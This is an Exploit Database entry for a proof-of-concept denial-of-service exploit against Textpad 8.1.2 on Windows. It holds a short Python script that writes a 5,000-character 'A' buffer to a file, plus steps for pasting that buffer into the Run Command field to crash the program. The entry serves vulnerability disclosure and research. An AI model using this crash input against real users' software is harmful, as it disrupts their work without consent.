



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Textpad 8.1.2 - Denial Of Service (PoC)

EDB-ID:

45956

CVE:

N/A

EDB Verified: ✘

Author:

[GIONATHAN REALE](#)

Type:

[DOS](#)

Exploit:  

Platform:

[WINDOWS_X86](#)

Date:

2018-12-09

Vulnerable App: 



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
# Exploit Title: Textpad 8.1.2 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discover Date: 2018-12-06
# Homepage: https://textpad.com
# Software Link: https://www.textpad.com/download/v81/win32/txpeng812-32.zip
# Tested Version: 8.1.2
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window click "Tools" > "Run...". Now
# paste the content of
# "exploit.txt" into the fields:"Command". Click "OK" and you will see a
# crash.
```

```
#!/usr/bin/python
```

```
buffer = "A" * 5000
```

```
payload = buffer
```

```
try:
```

```
    f=open("exploit.txt","w")
```

```
    print "[+] Creating %s bytes evil payload.." %len(payload)
```

```
    f.write(payload)
```

```
    f.close()
```

```
    print "[+] File created!"
```

```
except:
```

```
    print "File cannot be created"
```

Tags: [Denial of Service \(DoS\)](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.